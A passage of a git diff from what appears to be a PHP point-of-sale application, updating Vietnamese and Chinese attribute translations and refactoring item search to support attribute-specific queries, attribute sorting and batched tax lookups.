"definition_name" => "Thêm thuộc tính", - "definition_name_required" => "Tên thuộc tính là trường bắt buộc", - "definition_one_or_multiple" => "thuộc tính", - "definition_successful_adding" => "Bạn vừa mới thêm mục tin thành công", - "definition_successful_deleted" => "Bạn đã xóa thành công", - "definition_successful_updating" => "Bạn đã cập nhật thành công thuộc tính", - "definition_type" => "Loại thuộc tính", - "definition_type_required" => "Loại thuộc tính là trường bắt buộc", - "definition_unit" => "Đơn vị đo lường", - "definition_values" => "Giá trị thuộc tính", - "new" => "Thêm thuộc tính mới", - "no_attributes_to_display" => "Không có mặt hàng nào để hiển thị", - "receipt_visibility" => "Biên lai", - "show_in_items" => "Hiển thị trong các mặt hàng", - "show_in_items_visibility" => "Hàng hóa", - "show_in_receipt" => "Hiển thị trong biên lai", - "show_in_receivings" => "Hiển thị trong nhập hàng", - "show_in_receivings_visibility" => "Nhập hàng", - "show_in_sales" => "Hiển thị trong bán hàng", - "show_in_sales_visibility" => "Bán hàng", - "update" => "Cập nhật thuộc tính", + 'attribute_value_invalid_chars' => 'Giá trị thuộc tính không thể chứa \':\' hay \'|\'', + 'confirm_delete' => 'Bạn có chắc chắn muốn xóa (các) thuộc tính đã chọn không?', + 'confirm_restore' => 'Bạn có chắc chắn muốn khôi phục (các) thuộc tính đã chọn không?', + 'definition_cannot_be_deleted' => 'Không thể xóa (các) thuộc tính được chọn', + 'definition_invalid_group' => 'Nhóm đã chọn không tồn tại hoặc không hợp lệ.', + 'definition_error_adding_updating' => 'Thuộc tính {0} không thể thêm hoặc cập nhật. Vui lòng kiểm tra nhật ký lỗi.', + 'definition_flags' => 'Hiển thị thuộc tính', + 'definition_group' => 'Nhóm', + 'definition_id' => 'Mã số', + 'definition_name' => 'Thêm thuộc tính', + 'definition_name_required' => 'Tên thuộc tính là trường bắt buộc', + 'definition_one_or_multiple' => 'thuộc tính', + 'definition_successful_adding' => 'Bạn vừa mới thêm mục tin thành công', + 'definition_successful_deleted' => 'Bạn đã xóa thành công', + 'definition_successful_updating' => 'Bạn đã cập nhật thành công thuộc tính', + 'definition_type' => 'Loại thuộc tính', + 'definition_type_required' => 'Loại thuộc tính là trường bắt buộc', + 'definition_unit' => 'Đơn vị đo lường', + 'definition_values' => 'Giá trị thuộc tính', + 'new' => 'Thêm thuộc tính mới', + 'no_attributes_to_display' => 'Không có mặt hàng nào để hiển thị', + 'receipt_visibility' => 'Biên lai', + 'show_in_items' => 'Hiển thị trong các mặt hàng', + 'show_in_items_visibility' => 'Hàng hóa', + 'show_in_receipt' => 'Hiển thị trong biên lai', + 'show_in_receivings' => 'Hiển thị trong nhập hàng', + 'show_in_receivings_visibility' => 'Nhập hàng', + 'show_in_sales' => 'Hiển thị trong bán hàng', + 'show_in_sales_visibility' => 'Bán hàng', + 'show_in_search' => 'Hiển thị trong tìm kiếm', + 'show_in_search_visibility' => 'Tìm kiếm', + 'update' => 'Cập nhật thuộc tính', ]; diff --git a/app/Language/zh-Hans/Attributes.php b/app/Language/zh-Hans/Attributes.php index 883d91935..ff971d38c 100644 --- a/app/Language/zh-Hans/Attributes.php +++ b/app/Language/zh-Hans/Attributes.php @@ -1,34 +1,36 @@ "属性特征不能包含':' or '|'", - "confirm_delete" => "确定要删除所选属性吗", - "confirm_restore" => "您确定要还原所选属性吗?", - "definition_cannot_be_deleted" => "不能删除该特征属性", - "definition_invalid_group" => "所选组不存在或无效。", - "definition_error_adding_updating" => "无法添加或更新属性{0}。 请检查错误日志。", - "definition_flags" => "属性可见性", - "definition_group" => "组", - "definition_id" => "ID卡", - "definition_name" => "添加特征属性", - "definition_name_required" => "属性必须填写", - "definition_one_or_multiple" => "属性特征", - "definition_successful_adding" => "你成功添加物品", - "definition_successful_deleted" => "已经成功删除", - "definition_successful_updating" => "更新属性成功", - "definition_type" => "属性类别", - "definition_type_required" => "属性必填", - "definition_unit" => "计量单位", - "definition_values" => "属性特征值", - "new" => "新属性", - "no_attributes_to_display" => "没有物品需要显示", - "receipt_visibility" => "小票", - "show_in_items" => "在项目中显示", - "show_in_items_visibility" => "物品", - "show_in_receipt" => "在收据中显示", - "show_in_receivings" => "在收据中显示", - "show_in_receivings_visibility" => "收据", - "show_in_sales" => "在销售中显示", - "show_in_sales_visibility" => "销售", - "update" => "更新属性", + 'attribute_value_invalid_chars' => '属性特征不能包含\':\' or \'|\'', + 'confirm_delete' => '确定要删除所选属性吗', + 'confirm_restore' => '您确定要还原所选属性吗?', + 'definition_cannot_be_deleted' => '不能删除该特征属性', + 'definition_invalid_group' => '所选组不存在或无效。', + 'definition_error_adding_updating' => '无法添加或更新属性{0}。 请检查错误日志。', + 'definition_flags' => '属性可见性', + 'definition_group' => '组', + 'definition_id' => 'ID卡', + 'definition_name' => '添加特征属性', + 'definition_name_required' => '属性必须填写', + 'definition_one_or_multiple' => '属性特征', + 'definition_successful_adding' => '你成功添加物品', + 'definition_successful_deleted' => '已经成功删除', + 'definition_successful_updating' => '更新属性成功', + 'definition_type' => '属性类别', + 'definition_type_required' => '属性必填', + 'definition_unit' => '计量单位', + 'definition_values' => '属性特征值', + 'new' => '新属性', + 'no_attributes_to_display' => '没有物品需要显示', + 'receipt_visibility' => '小票', + 'show_in_items' => '在项目中显示', + 'show_in_items_visibility' => '物品', + 'show_in_receipt' => '在收据中显示', + 'show_in_receivings' => '在收据中显示', + 'show_in_receivings_visibility' => '收据', + 'show_in_sales' => '在销售中显示', + 'show_in_sales_visibility' => '销售', + 'show_in_search' => '在搜索中显示', + 'show_in_search_visibility' => '搜索', + 'update' => '更新属性', ]; diff --git a/app/Language/zh-Hant/Attributes.php b/app/Language/zh-Hant/Attributes.php index 66a3b19fa..723e709ce 100644 --- a/app/Language/zh-Hant/Attributes.php +++ b/app/Language/zh-Hant/Attributes.php @@ -1,34 +1,36 @@ "屬性設定值中不可含有「_」或「|」", - "confirm_delete" => "您確定要刪除此屬性?", - "confirm_restore" => "您確定要還原所選屬性嗎?", - "definition_cannot_be_deleted" => "無法刪除所選屬性", - "definition_invalid_group" => "所選擇的群組不存在或無效。", - "definition_error_adding_updating" => "無法添加或更新屬性 {0}。 請檢查錯誤日誌。", - "definition_flags" => "屬性可見性", - "definition_group" => "群組", - "definition_id" => "編號", - "definition_name" => "添加屬性", - "definition_name_required" => "屬性名稱必需填寫", - "definition_one_or_multiple" => "屬性", - "definition_successful_adding" => "您已成功添加項目", - "definition_successful_deleted" => "您已成功刪除", - "definition_successful_updating" => "您已成功更新屬性", - "definition_type" => "屬性類型", - "definition_type_required" => "屬性類型必需填寫", - "definition_unit" => "測量單位", - "definition_values" => "屬性值", - "new" => "新屬性", - "no_attributes_to_display" => "沒有項目可顯示", - "receipt_visibility" => "收據", - "show_in_items" => "在項目中顯示", - "show_in_items_visibility" => "物品", - "show_in_receipt" => "在收據中顯示", - "show_in_receivings" => "在收貨中顯示", - "show_in_receivings_visibility" => "收貨", - "show_in_sales" => "在銷售中顯示", - "show_in_sales_visibility" => "銷售", - "update" => "更新屬性", + 'attribute_value_invalid_chars' => '屬性設定值中不可含有「_」或「|」', + 'confirm_delete' => '您確定要刪除此屬性?', + 'confirm_restore' => '您確定要還原所選屬性嗎?', + 'definition_cannot_be_deleted' => '無法刪除所選屬性', + 'definition_invalid_group' => '所選擇的群組不存在或無效。', + 'definition_error_adding_updating' => '無法添加或更新屬性 {0}。 請檢查錯誤日誌。', + 'definition_flags' => '屬性可見性', + 'definition_group' => '群組', + 'definition_id' => '編號', + 'definition_name' => '添加屬性', + 'definition_name_required' => '屬性名稱必需填寫', + 'definition_one_or_multiple' => '屬性', + 'definition_successful_adding' => '您已成功添加項目', + 'definition_successful_deleted' => '您已成功刪除', + 'definition_successful_updating' => '您已成功更新屬性', + 'definition_type' => '屬性類型', + 'definition_type_required' => '屬性類型必需填寫', + 'definition_unit' => '測量單位', + 'definition_values' => '屬性值', + 'new' => '新屬性', + 'no_attributes_to_display' => '沒有項目可顯示', + 'receipt_visibility' => '收據', + 'show_in_items' => '在項目中顯示', + 'show_in_items_visibility' => '物品', + 'show_in_receipt' => '在收據中顯示', + 'show_in_receivings' => '在收貨中顯示', + 'show_in_receivings_visibility' => '收貨', + 'show_in_sales' => '在銷售中顯示', + 'show_in_sales_visibility' => '銷售', + 'show_in_search' => '在搜尋中顯示', + 'show_in_search_visibility' => '搜尋', + 'update' => '更新屬性', ]; diff --git a/app/Models/Attribute.php b/app/Models/Attribute.php index 5b43a9bf0..79a021ffd 100644 --- a/app/Models/Attribute.php +++ b/app/Models/Attribute.php @@ -38,9 +38,10 @@ class Attribute extends Model 'attribute_decimal' ]; - public const SHOW_IN_ITEMS = 1; // TODO: These need to be moved to constants.php + public const SHOW_IN_ITEMS = 1; public const SHOW_IN_SALES = 2; public const SHOW_IN_RECEIVINGS = 4; + public const SHOW_IN_SEARCH = 8; public function deleteDropdownAttributeValue(string $attribute_value, int $definition_id): bool { $attribute_id = $this->getAttributeIdByValue($attribute_value); diff --git a/app/Models/Item.php b/app/Models/Item.php index f8cd99175..3eba73183 100644 --- a/app/Models/Item.php +++ b/app/Models/Item.php @@ -2,9 +2,11 @@ namespace App\Models; +use CodeIgniter\Database\RawSql; use CodeIgniter\Database\ResultInterface; use CodeIgniter\Model; use Config\OSPOS; +use DateTime; use ReflectionException; use stdClass; @@ -38,6 +40,7 @@ class Item extends Model 'allow_alt_description', 'is_serialized' ]; + protected $table = 'items'; protected $primaryKey = 'item_id'; protected $useAutoIncrement = true; @@ -65,7 +68,6 @@ class Item extends Model 'hsn_code' ]; - /** * Determines if a given item_id is an item */ @@ -140,16 +142,183 @@ class Item extends Model } /** - * Perform a search on items + * Parse search string for attribute-specific queries + * Supports syntax like "color: blue size: large" or "color:blue AND size:large" + * + * @param string $search The raw search string + * @return array{terms: array, attributes: array} Parsed terms and attribute queries */ - public function search(string $search, array $filters, ?int $rows = 0, ?int $limit_from = 0, ?string $sort = 'items.name', ?string $order = 'asc', ?bool $count_only = false) + public function parseAttributeSearch(string $search): array + { + $result = [ + 'terms' => [], + 'attributes' => [] + ]; + + if ($search === '') { + return $result; + } + + $pattern = '/([[:alpha:]][[:alnum:] _-]*?)\s*:\s*([0-9]+,[0-9]+|[^\s,]+)(?:\s*,\s*|\s+(?:AND|OR)\s+)?/iu'; + $remaining = preg_replace($pattern, '', $search); + + if (preg_match_all($pattern, $search, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $attrName = strtolower(trim($match[1])); + $attrValue = trim($match[2]); + $result['attributes'][$attrName][] = $attrValue; + } + } + + $remaining = trim(preg_replace('/\s+/', ' ', $remaining)); + if ($remaining !== '') { + $result['terms'][] = $remaining; + } + + return $result; + } + + /** + * Joins rather than correlated EXISTS per name: EXISTS made MySQL materialize one + * subquery as a full attribute_links scan instead of using attribute_links_uq2 (~400ms vs ~150ms). + * + * $definitionInfo must be resolved by the caller before $builder exists - a query here + * would reset CodeIgniter's table-alias tracking and corrupt $builder's "items" alias. + * + * @param array $definitionInfo definition_id => info, from getDefinitionsByFlags(..., true) + * @param array $parsedAttributes Attribute name => list of search values + * @param int[] $allowedDefinitionIds Definition ids this search is scoped to + * @return string[] Attribute names that resolved to a known, allowed definition and were joined into $builder + */ + private function applyNamedAttributeSearch($builder, array $definitionInfo, array $parsedAttributes, array $allowedDefinitionIds): array + { + $definitionIdByName = []; + foreach ($definitionInfo as $id => $info) { + $name = is_array($info) ? $info['name'] : $info; + $definitionIdByName[strtolower($name)] = (int) $id; + } + + $consumedNames = []; + $index = 0; + foreach ($parsedAttributes as $attrName => $values) { + if (!isset($definitionIdByName[$attrName])) { + continue; + } + + $definitionId = $definitionIdByName[$attrName]; + + if (!in_array($definitionId, $allowedDefinitionIds, true)) { + continue; + } + + $consumedNames[] = $attrName; + + $defType = is_array($definitionInfo[$definitionId]) ? ($definitionInfo[$definitionId]['type'] ?? TEXT) : TEXT; + + $linksAlias = "named_attr_links_{$index}"; + $valuesAlias = "named_attr_values_{$index}"; + $index++; + + $builder->join( + "attribute_links AS {$linksAlias}", + "{$linksAlias}.item_id = items.item_id AND {$linksAlias}.definition_id = {$definitionId} AND {$linksAlias}.receiving_id IS NULL AND {$linksAlias}.sale_id IS NULL" + ); + $builder->join( + "attribute_values AS {$valuesAlias}", + "{$valuesAlias}.attribute_id = {$linksAlias}.attribute_id" + ); + + $builder->groupStart(); + $matched = false; + foreach ($values as $value) { + if ($defType === DECIMAL) { + $parsedValue = parse_decimals($value); + if ($parsedValue === false) { + continue; + } + $builder->orWhere("{$valuesAlias}.attribute_decimal", $parsedValue); + $matched = true; + } elseif ($defType === DATE) { + $config = config(OSPOS::class)->settings; + $date = DateTime::createFromFormat($config['dateformat'], $value); + if ($date === false) { + continue; + } + $builder->orWhere("{$valuesAlias}.attribute_date", $date->format('Y-m-d')); + $matched = true; + } else { + $builder->orWhere("{$valuesAlias}.attribute_value", $value); + $matched = true; + } + } + $builder->groupEnd(); + + if (!$matched) { + $builder->where('1 = 0', null, false); + } + } + + return $consumedNames; + } + + /** + * Get attribute definition ID from column name for sorting + * + * @param string $sortColumn The sort column name + * @return int|null The definition ID or null if not an attribute column + */ + private function getAttributeSortDefinitionId(string $sortColumn): ?int + { + if (!ctype_digit($sortColumn)) { + return null; + } + + return (int) $sortColumn; + } + + /** + * Left-joins the attribute tables needed to sort by a given attribute definition, + * and applies the order-by using the type-appropriate value column. + * + * $definitionInfo must be resolved by the caller before any joins are added to $builder — + * see the note on applyNamedAttributeSearch() for why a query here would corrupt $builder. + * + * @param array $definitionInfo definition_id => info, from getDefinitionsByFlags(..., true) + */ + private function applyAttributeSort($builder, array $definitionInfo, int $sortDefinitionId, string $order): void + { + $sortAlias = "sort_attr_{$sortDefinitionId}"; + $builder->join("attribute_links AS {$sortAlias}", "{$sortAlias}.item_id = items.item_id AND {$sortAlias}.definition_id = {$sortDefinitionId} AND {$sortAlias}.sale_id IS NULL AND {$sortAlias}.receiving_id IS NULL", 'left'); + $builder->join("attribute_values AS {$sortAlias}_val", "{$sortAlias}_val.attribute_id = {$sortAlias}.attribute_id", 'left'); + + $sortColumn = "{$sortAlias}_val.attribute_value"; + + if (isset($definitionInfo[$sortDefinitionId])) { + $defType = is_array($definitionInfo[$sortDefinitionId]) ? ($definitionInfo[$sortDefinitionId]['type'] ?? TEXT) : TEXT; + if ($defType === DECIMAL) { + $sortColumn = "{$sortAlias}_val.attribute_decimal"; + } elseif ($defType === DATE) { + $sortColumn = "{$sortAlias}_val.attribute_date"; + } + } + + $builder->orderBy("MAX($sortColumn)", $order); + } + + /** + * Perform a search on items + * + * Resolves qualifying item_ids first (Phase A), then joins the expensive display-only + * tables scoped to just those ids (Phase B) instead of the whole matching set. + */ + public function search(string $search, array $filters, ?int $rows = 0, ?int $limitFrom = 0, ?string $sort = 'items.name', ?string $order = 'asc', ?bool $countOnly = false) { // Set default values if ($rows == null) { $rows = 0; } - if ($limit_from == null) { - $limit_from = 0; + if ($limitFrom == null) { + $limitFrom = 0; } if ($sort == null) { $sort = 'items.name'; @@ -157,53 +326,196 @@ class Item extends Model if ($order == null) { $order = 'asc'; } - if ($count_only == null) { - $count_only = false; + if ($countOnly == null) { + $countOnly = false; } $config = config(OSPOS::class)->settings; - $builder = $this->db->table('items AS items'); // TODO: I'm not sure if it's needed to write items AS items... I think you can just get away with items + + $dateFormatEnabled = empty($config['date_or_time_format']); + $hasTransDateRange = !empty($filters['start_date']) && !empty($filters['end_date']); + $rangeStart = $hasTransDateRange ? ($dateFormatEnabled ? $filters['start_date'] : rawurldecode($filters['start_date'])) : null; + $rangeEnd = $hasTransDateRange ? ($dateFormatEnabled ? $filters['end_date'] : rawurldecode($filters['end_date'])) : null; + $applyTransDateRange = function ($builder) use ($hasTransDateRange, $dateFormatEnabled, $rangeStart, $rangeEnd) { + if (!$hasTransDateRange) { + return; + } + $column = $dateFormatEnabled ? 'DATE_FORMAT(trans_date, "%Y-%m-%d")' : 'trans_date'; + $builder->groupStart(); + $builder->where("$column >=", $rangeStart); + $builder->where("$column <=", $rangeEnd); + $builder->groupEnd(); + }; + + $definitionIds = array_map('intval', $filters['definition_ids']); + $attributesEnabled = count($filters['definition_ids']) > 0; + $customAttributeSearch = $attributesEnabled && $filters['search_custom'] && !empty($search); + + // Resolved before $idBuilder exists - see applyNamedAttributeSearch() for why. + $attribute = model(Attribute::class); + $definitionInfo = $attribute->getDefinitionsByFlags(Attribute::SHOW_IN_ITEMS | Attribute::SHOW_IN_SEARCH, true); + + if ($attributesEnabled) { + $this->db->simpleQuery('SET SESSION group_concat_max_len=49152'); + } + + $idBuilder = $this->db->table('items AS items'); + + if ($customAttributeSearch) { + // Matching is per attribute row (WHERE, pre-GROUP BY), not against a GROUP_CONCAT + // blob (HAVING, post-GROUP BY), so a match can't bleed across definitions. + $idBuilder->select('items.item_id'); + $idBuilder->join('attribute_links', 'attribute_links.item_id = items.item_id AND attribute_links.receiving_id IS NULL AND attribute_links.sale_id IS NULL AND definition_id IN (' . implode(',', $definitionIds) . ')', 'left'); + $idBuilder->join('attribute_values', 'attribute_values.attribute_id = attribute_links.attribute_id', 'left'); + } else { + $idBuilder->select('items.item_id'); + } + + $idBuilder->join('suppliers AS suppliers', 'suppliers.person_id = items.supplier_id', 'left'); + $idBuilder->join('inventory AS inventory', 'inventory.trans_items = items.item_id'); + + if ($filters['stock_location_id'] > -1) { + $idBuilder->join('item_quantities AS item_quantities', 'item_quantities.item_id = items.item_id'); + $idBuilder->where('location_id', $filters['stock_location_id']); + } + + $applyTransDateRange($idBuilder); + + $parsedAttributeSearch = $customAttributeSearch ? $this->parseAttributeSearch($search) : null; + $freeTextSearch = $search; + + if ($parsedAttributeSearch !== null && !empty($parsedAttributeSearch['attributes'])) { + $consumedNames = $this->applyNamedAttributeSearch($idBuilder, $definitionInfo, $parsedAttributeSearch['attributes'], $definitionIds); + + $unconsumedTerms = $parsedAttributeSearch['terms']; + foreach ($parsedAttributeSearch['attributes'] as $attrName => $values) { + if (in_array($attrName, $consumedNames, true)) { + continue; + } + foreach ($values as $value) { + $unconsumedTerms[] = $value; + } + } + + $freeTextSearch = implode(' ', $unconsumedTerms); + } + + if (!empty($freeTextSearch)) { + if ($customAttributeSearch) { + $format = $this->db->escape(dateformat_mysql()); + $attributeValuesTable = $this->db->prefixTable('attribute_values'); + $idBuilder->groupStart(); + $idBuilder->like('attribute_values.attribute_value', $freeTextSearch); + $idBuilder->orLike(new RawSql("DATE_FORMAT($attributeValuesTable.attribute_date, $format)"), $freeTextSearch); + $idBuilder->orLike('attribute_values.attribute_decimal', $freeTextSearch); + $idBuilder->groupEnd(); + } else { + $idBuilder->groupStart(); + $idBuilder->like('name', $search); + $idBuilder->orLike('item_number', $search); + $idBuilder->orLike('items.item_id', $search); + $idBuilder->orLike('company_name', $search); + $idBuilder->orLike('items.category', $search); + $idBuilder->groupEnd(); + } + } + + $idBuilder->where('items.deleted', $filters['is_deleted']); + + if ($filters['empty_upc']) { + $idBuilder->where('item_number', null); + } + if ($filters['low_inventory'] && $filters['stock_location_id'] > -1) { + $idBuilder->where('item_quantities.quantity <=', new RawSql('items.reorder_level')); + } + if ($filters['is_serialized']) { + $idBuilder->where('is_serialized', 1); + } + if ($filters['no_description']) { + $idBuilder->where('items.description', ''); + } + if ($filters['temporary']) { + $idBuilder->where('items.item_type', ITEM_TEMP); + } else { + $nonTemp = [ITEM, ITEM_KIT, ITEM_AMOUNT_ENTRY]; + $idBuilder->whereIn('items.item_type', $nonTemp); + } + + // Avoid duplicated entries with same name because of inventory reporting multiple changes on the same item in the same date range + $idBuilder->groupBy('items.item_id'); // get_found_rows case - if ($count_only) { - $builder->select('COUNT(DISTINCT items.item_id) AS count'); + if ($countOnly) { + return $idBuilder->countAllResults(); + } + + // Order by name of item by default + $sortDefinitionId = $this->getAttributeSortDefinitionId($sort); + if ($sort === 'quantity' && $filters['stock_location_id'] <= -1) { + $itemQuantitiesTable = $this->db->prefixTable('item_quantities'); + $idBuilder->join( + "(SELECT item_id, SUM(quantity) AS total_quantity FROM $itemQuantitiesTable GROUP BY item_id) AS item_quantity_totals", + 'item_quantity_totals.item_id = items.item_id', + 'left' + ); + $idBuilder->orderBy('MAX(item_quantity_totals.total_quantity)', $order); + } elseif ($sortDefinitionId !== null) { + $this->applyAttributeSort($idBuilder, $definitionInfo, $sortDefinitionId, $order); } else { - $builder->select('MAX(items.item_id) AS item_id'); - $builder->select('MAX(items.name) AS name'); - $builder->select('MAX(items.category) AS category'); - $builder->select('MAX(items.supplier_id) AS supplier_id'); - $builder->select('MAX(items.item_number) AS item_number'); - $builder->select('MAX(items.description) AS description'); - $builder->select('MAX(items.cost_price) AS cost_price'); - $builder->select('MAX(items.unit_price) AS unit_price'); - $builder->select('MAX(items.reorder_level) AS reorder_level'); - $builder->select('MAX(items.receiving_quantity) AS receiving_quantity'); - $builder->select('MAX(items.pic_filename) AS pic_filename'); - $builder->select('MAX(items.allow_alt_description) AS allow_alt_description'); - $builder->select('MAX(items.is_serialized) AS is_serialized'); - $builder->select('MAX(items.pack_name) AS pack_name'); - $builder->select('MAX(items.tax_category_id) AS tax_category_id'); - $builder->select('MAX(items.deleted) AS deleted'); + $idBuilder->orderBy($sort, $order); + } - $builder->select('MAX(suppliers.person_id) AS person_id'); - $builder->select('MAX(suppliers.company_name) AS company_name'); - $builder->select('MAX(suppliers.agency_name) AS agency_name'); - $builder->select('MAX(suppliers.account_number) AS account_number'); - $builder->select('MAX(suppliers.deleted) AS deleted'); + if ($rows > 0) { + $idBuilder->limit($rows, $limitFrom); + } - $builder->select('MAX(inventory.trans_id) AS trans_id'); - $builder->select('MAX(inventory.trans_items) AS trans_items'); - $builder->select('MAX(inventory.trans_user) AS trans_user'); - $builder->select('MAX(inventory.trans_date) AS trans_date'); - $builder->select('MAX(inventory.trans_comment) AS trans_comment'); - $builder->select('MAX(inventory.trans_location) AS trans_location'); - $builder->select('MAX(inventory.trans_inventory) AS trans_inventory'); + $itemIds = array_column($idBuilder->get()->getResultArray(), 'item_id'); - if ($filters['stock_location_id'] > -1) { - $builder->select('MAX(item_quantities.item_id) AS qty_item_id'); - $builder->select('MAX(item_quantities.location_id) AS location_id'); - $builder->select('MAX(item_quantities.quantity) AS quantity'); - } + if (empty($itemIds)) { + return $this->db->table('items AS items')->where('1 = 0')->get(); + } + + $builder = $this->db->table('items AS items'); + + $builder->select('MAX(items.item_id) AS item_id'); + $builder->select('MAX(items.name) AS name'); + $builder->select('MAX(items.category) AS category'); + $builder->select('MAX(items.supplier_id) AS supplier_id'); + $builder->select('MAX(items.item_number) AS item_number'); + $builder->select('MAX(items.description) AS description'); + $builder->select('MAX(items.cost_price) AS cost_price'); + $builder->select('MAX(items.unit_price) AS unit_price'); + $builder->select('MAX(items.reorder_level) AS reorder_level'); + $builder->select('MAX(items.receiving_quantity) AS receiving_quantity'); + $builder->select('MAX(items.pic_filename) AS pic_filename'); + $builder->select('MAX(items.allow_alt_description) AS allow_alt_description'); + $builder->select('MAX(items.is_serialized) AS is_serialized'); + $builder->select('MAX(items.pack_name) AS pack_name'); + $builder->select('MAX(items.tax_category_id) AS tax_category_id'); + $builder->select('MAX(items.deleted) AS deleted'); + + $builder->select('MAX(suppliers.person_id) AS person_id'); + $builder->select('MAX(suppliers.company_name) AS company_name'); + $builder->select('MAX(suppliers.agency_name) AS agency_name'); + $builder->select('MAX(suppliers.account_number) AS account_number'); + $builder->select('MAX(suppliers.deleted) AS supplier_deleted'); + + $builder->select('MAX(inventory.trans_id) AS trans_id'); + $builder->select('MAX(inventory.trans_items) AS trans_items'); + $builder->select('MAX(inventory.trans_user) AS trans_user'); + $builder->select('MAX(inventory.trans_date) AS trans_date'); + $builder->select('MAX(inventory.trans_comment) AS trans_comment'); + $builder->select('MAX(inventory.trans_location) AS trans_location'); + $builder->select('MAX(inventory.trans_inventory) AS trans_inventory'); + + $sortByQuantityAllLocations = $sort === 'quantity' && $filters['stock_location_id'] <= -1; + + if ($filters['stock_location_id'] > -1) { + $builder->select('MAX(item_quantities.item_id) AS qty_item_id'); + $builder->select('MAX(item_quantities.location_id) AS location_id'); + $builder->select('MAX(item_quantities.quantity) AS quantity'); + } elseif ($sortByQuantityAllLocations) { + $builder->select('MAX(item_quantity_totals.total_quantity) AS quantity'); } $builder->join('suppliers AS suppliers', 'suppliers.person_id = items.supplier_id', 'left'); @@ -212,75 +524,39 @@ class Item extends Model if ($filters['stock_location_id'] > -1) { $builder->join('item_quantities AS item_quantities', 'item_quantities.item_id = items.item_id'); $builder->where('location_id', $filters['stock_location_id']); + } elseif ($sortByQuantityAllLocations) { + $itemQuantitiesTable = $this->db->prefixTable('item_quantities'); + $builder->join( + "(SELECT item_id, SUM(quantity) AS total_quantity FROM $itemQuantitiesTable GROUP BY item_id) AS item_quantity_totals", + 'item_quantity_totals.item_id = items.item_id', + 'left' + ); } - $where = empty($config['date_or_time_format']) - ? 'DATE_FORMAT(trans_date, "%Y-%m-%d") BETWEEN ' . $this->db->escape($filters['start_date']) . ' AND ' . $this->db->escape($filters['end_date']) - : 'trans_date BETWEEN ' . $this->db->escape(rawurldecode($filters['start_date'])) . ' AND ' . $this->db->escape(rawurldecode($filters['end_date'])); - $builder->where($where); + $applyTransDateRange($builder); - $attributes_enabled = count($filters['definition_ids']) > 0; - - if (!empty($search)) { - if ($attributes_enabled && $filters['search_custom']) { - $builder->havingLike('attribute_values', $search); - $builder->orHavingLike('attribute_dtvalues', $search); - $builder->orHavingLike('attribute_dvalues', $search); - } else { - $builder->groupStart(); - $builder->like('name', $search); - $builder->orLike('item_number', $search); - $builder->orLike('items.item_id', $search); - $builder->orLike('company_name', $search); - $builder->orLike('items.category', $search); - $builder->groupEnd(); - } - } - - if ($attributes_enabled) { + if ($attributesEnabled) { $format = $this->db->escape(dateformat_mysql()); - $this->db->simpleQuery('SET SESSION group_concat_max_len=49152'); - $builder->select('GROUP_CONCAT(DISTINCT CONCAT_WS(\'_\', definition_id, attribute_value) ORDER BY definition_id SEPARATOR \'|\') AS attribute_values'); - $builder->select("GROUP_CONCAT(DISTINCT CONCAT_WS('_', definition_id, DATE_FORMAT(attribute_date, $format)) SEPARATOR '|') AS attribute_dtvalues"); - $builder->select('GROUP_CONCAT(DISTINCT CONCAT_WS(\'_\', definition_id, attribute_decimal) SEPARATOR \'|\') AS attribute_dvalues'); - $builder->join('attribute_links', 'attribute_links.item_id = items.item_id AND attribute_links.receiving_id IS NULL AND attribute_links.sale_id IS NULL AND definition_id IN (' . implode(',', $filters['definition_ids']) . ')', 'left'); + $attributeLinksTable = $this->db->prefixTable('attribute_links'); + $attributeValuesTable = $this->db->prefixTable('attribute_values'); + $builder->select("GROUP_CONCAT(DISTINCT CONCAT_WS('_', $attributeLinksTable.definition_id, $attributeValuesTable.attribute_value) ORDER BY $attributeLinksTable.definition_id SEPARATOR '|') AS attribute_values"); + $builder->select("GROUP_CONCAT(DISTINCT CONCAT_WS('_', $attributeLinksTable.definition_id, DATE_FORMAT($attributeValuesTable.attribute_date, $format)) SEPARATOR '|') AS attribute_dtvalues"); + $builder->select("GROUP_CONCAT(DISTINCT CONCAT_WS('_', $attributeLinksTable.definition_id, $attributeValuesTable.attribute_decimal) SEPARATOR '|') AS attribute_dvalues"); + $builder->join('attribute_links', 'attribute_links.item_id = items.item_id AND attribute_links.receiving_id IS NULL AND attribute_links.sale_id IS NULL AND attribute_links.definition_id IN (' . implode(',', $definitionIds) . ')', 'left'); $builder->join('attribute_values', 'attribute_values.attribute_id = attribute_links.attribute_id', 'left'); } - $builder->where('items.deleted', $filters['is_deleted']); + $builder->whereIn('items.item_id', $itemIds); - if ($filters['empty_upc']) { - $builder->where('item_number', null); - } - if ($filters['low_inventory']) { - $builder->where('quantity <=', 'reorder_level'); - } - if ($filters['is_serialized']) { - $builder->where('is_serialized', 1); - } - if ($filters['no_description']) { - $builder->where('items.description', ''); - } - if ($filters['temporary']) { - $builder->where('items.item_type', ITEM_TEMP); - } else { - $non_temp = [ITEM, ITEM_KIT, ITEM_AMOUNT_ENTRY]; - $builder->whereIn('items.item_type', $non_temp); - } - - // get_found_rows case - if ($count_only) { - return $builder->get()->getRow()->count; - } - - // Avoid duplicated entries with same name because of inventory reporting multiple changes on the same item in the same date range $builder->groupBy('items.item_id'); - // Order by name of item by default - $builder->orderBy($sort, $order); - - if ($rows > 0) { - $builder->limit($rows, $limit_from); + // Re-apply order: WHERE...IN + GROUP BY do not preserve Phase A's row order + if ($sortByQuantityAllLocations) { + $builder->orderBy('MAX(item_quantity_totals.total_quantity)', $order); + } elseif ($sortDefinitionId !== null) { + $this->applyAttributeSort($builder, $definitionInfo, $sortDefinitionId, $order); + } else { + $builder->orderBy($sort, $order); } return $builder->get(); diff --git a/app/Models/Item_taxes.php b/app/Models/Item_taxes.php index 08b8fb845..bfb07b36a 100644 --- a/app/Models/Item_taxes.php +++ b/app/Models/Item_taxes.php @@ -30,6 +30,26 @@ class Item_taxes extends Model return $builder->get()->getResultArray(); } + /** + * @return array item_id => array of taxes for that item + */ + public function getInfoMultiple(array $itemIds): array + { + if (empty($itemIds)) { + return []; + } + + $builder = $this->db->table('items_taxes'); + $builder->whereIn('item_id', $itemIds); + + $taxesByItemId = []; + foreach ($builder->get()->getResultArray() as $tax) { + $taxesByItemId[$tax['item_id']][] = $tax; + } + + return $taxesByItemId; + } + /** * Inserts or updates an item's taxes */ diff --git a/tests/Models/ItemSearchTest.php b/tests/Models/ItemSearchTest.php new file mode 100644 index 000000000..fdf20bd10 --- /dev/null +++ b/tests/Models/ItemSearchTest.php @@ -0,0 +1,468 @@ +call('TestDatabaseBootstrapSeeder'); + } + + protected function setUp(): void + { + parent::setUp(); + + $this->item = 